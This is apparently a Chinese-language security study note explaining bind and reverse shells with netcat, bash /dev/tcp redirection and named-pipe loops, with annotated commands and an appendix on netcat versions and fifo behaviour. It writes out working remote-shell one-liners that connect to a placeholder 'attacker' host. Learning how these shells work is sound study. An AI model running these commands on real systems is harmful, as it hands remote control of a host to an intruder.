网络安全 / A LEAF IN THE GARDEN

BindShell

网络安全 · web。来自 Daily Learning 的学习笔记。

简介

目标主机把 shell 绑定到一个 socket,攻击者连接此 socket,实现远程控制。

flowchart LR
    subgraph Bind Shell
        direction LR
        a([attacker]) --> 
        so([socket]) --> 
        s2([shell]) --> 
        so([socket]) --> 
        a([attacker]) 
    end
    subgraph 正常的 Shell
        direction LR
        in([stdin]) --> 
        s1([shell]) --> 
        out([stdout])
    end

正向 Shell(Bind Shell)

目标主机监听一个端口,并在此端口提供绑定了 shell 的 socket,攻击者连接此端口即可控制。

攻击端

只需要发起连接,接着执行命令就行

nc target 1234
command ...

目标端

netcat execute

netcat 的 -e 参数可以把网络连接绑定到一个程序上,这里绑定到 shell

nc -lvp 1234 -e /bin/bash

双端管道 netcat

两个 nc 进程组成管道两端,分别管指令输入和反馈输出,shell 绑定在管道中间

nc -lv 1234 | bash 2>&1 | nc -lv 5678

攻击端需要开两个端口,很麻烦,差评。

# 指令输入端口
nc target 1234
# 反馈接收端口
nc target 5678

fifo 数据流环路

如果 OpenBSD 版 netcat 没有 -e 参数,可以使用命名管道(fifo)实现

# 创建临时 fifo
rm -f /tmp/f;
mkfifo /tmp/f; 

# Bind Shell
cat /tmp/f | bash -i 2>&1 | nc -lv 1234 &>/tmp/f

以下是命令解释,关于环路、fifo、nc 的详细问题参考附录

/tmp/f # 存储待执行命令

cat /tmp/f | # 读取待执行命令并传给 bash 执行

bash -i # 交互模式(不交互其实也行)
    2>&1 | # 合并 stderr 和 stdout,传给 nc 发送

nc -lv 1234 # 未连接时: 监听端口
            # 输入时: 接收攻击端传入的命令并存储
            # 输出时: 发送 bash 的执行结果到攻击端
    &>/tmp/f # 将攻击端传入的命令存储,供 cat 取出

反弹 Shell(Reverse Shell)

目标主机把 shell 绑定到一个 socket,并主动连接攻击者,攻击者监听此 socket,实现远程控制。

攻击端

监听一个端口,等待目标主机连接就行

nc -lv 1234
command ...

目标端

bash

通过 bash 的内置功能实现反向 shell

bash -i >& /dev/tcp/attacker/1234 0>&1

解释如下

bash -i # 交互模式
  >& # 同时重定向 stdout 和 stderr
    /dev/tcp/attacker/1234 # bash 内建的虚拟 TCP 路径
      0>&1 # stdin 也指向 stdout 当前所指(即 TCP socket)
           # 现在 bash 的 0/1/2 都在 socket 上了

netcat execute

用法和正向 shell 里面的差不多。仅传统版本 nc 可用,具体版本差异参考附录。

nc attacker 1234 -e /bin/bash

双端管道 netcat

依旧两个端口,只不过都主动发

nc attacker 1234 | bash 2>&1 | nc attacker 5678

相应的,攻击端听两个端口

nc -lv 1234
nc -lv 5678

fifo 数据流环路

# 创建临时 fifo
rm -f /tmp/f;
mkfifo /tmp/f;

# Reverse Shell
nc attacker 1234 < /tmp/f | bash &> /tmp/f

解释如下

/tmp/f # 存储命令执行结果

nc attacker 1234 # 未连接时: 连接攻击端
                 # 输出时: 读取执行结果发回攻击端
                 # 输入时: 接收攻击端发的命令,传给 bash 执行
    < /tmp/f # 重定向 stdin,可读取执行结果

bash # 执行命令(或 -i 开交互模式)
    &> /tmp/f # 将执行结果存储,供 nc 取出

TTY

管道实现的 shell 不支持 sudo、vim 或 Ctrl+C 等,需要升级为 TTY。具体升级方法以后再展开。

附录

nc

netcat 存在 OpenBSD(现代 linux 默认)和 GNU、Hobbit 等传统版本,在参数上有些差异。

功能OpenBSD nc传统 nc
监听端口nc -l 1234nc -lp 1234
-e 执行程序不支持(安全考虑)支持
-p 含义源端口(发送方端口)监听端口(接收方端口)
-k 持续监听支持不支持

大多数现代系统使用 OpenBSD 版 nc,没有 -e 参数,无法直接绑定 shell,需要使用 fifo 数据流环路。

fifo

命名管道(fifo)是一种特殊的文件,用于在进程间传递数据。

特性

  • 不写磁盘,只在内存中传递数据
  • 双端连接,读写端必须同时存在,否则阻塞
  • 单向传递,数据只从写端流向读端
  • 人走茶凉,所有写者退出时才会写 EOF,否则持续

[!TIP] 烧烤 这其实就像一个临时连接通道,收发端各自等待匹配,匹配到可以传单向数据,发端退出时通道关闭。

结合 Bind Shell

fifo 数据流环路能支撑 Bind Shell 交互,关键在两个性质

[!NOTE] 连贯性 fifo 阻塞式读出,有写入时才读。在 bash 或 nc 处理数据流时,fifo 会等待写入,并在写入时立即读出,保证数据流的连贯性。

[!NOTE] 持续性 nc 或 bash 持续作为 fifo 的写者,fifo 总是不写 EOF。读者读不到 EOF 不退出,保证数据流的持续性。

数据流环路

fifo 数据流环路有两种组织模式,其中数据流沿 fifo 管道传递的方向不同,但效果区别不大。

上文中的 Bind Shell 和 Reverse Shell 分别使用了 N-B 模式和 B-N 模式,本质是让先产生数据的一方写入 fifo。

N-B 模式

cat /tmp/f | bash | nc &>/tmp/f
flowchart TD
    subgraph N-B
        f[(fifo)]
        -->|cat读取| b([bash]) 
        -->|管道传递| n([nc]) 
        -->|重定向写入| f
    end

fifo 中存储的是攻击端传入的,待执行命令。

B-N 模式

nc </tmp/f | bash &>/tmp/f
flowchart TD
    subgraph B-N
        f[(fifo)]
        -->|重定向读取| n([nc]) 
        -->|管道传递| b([bash])
        -->|重定向写入| f
    end

fifo 中存储的是 bash 执行命令的结果。

图例

flowchart TD
    subgraph 图例
        in((输入)) 
        --> change([处理数据流]) 
        -->|变化| out((输出))
        in --> store[(存储数据流)] 
        -->|不变| out
    end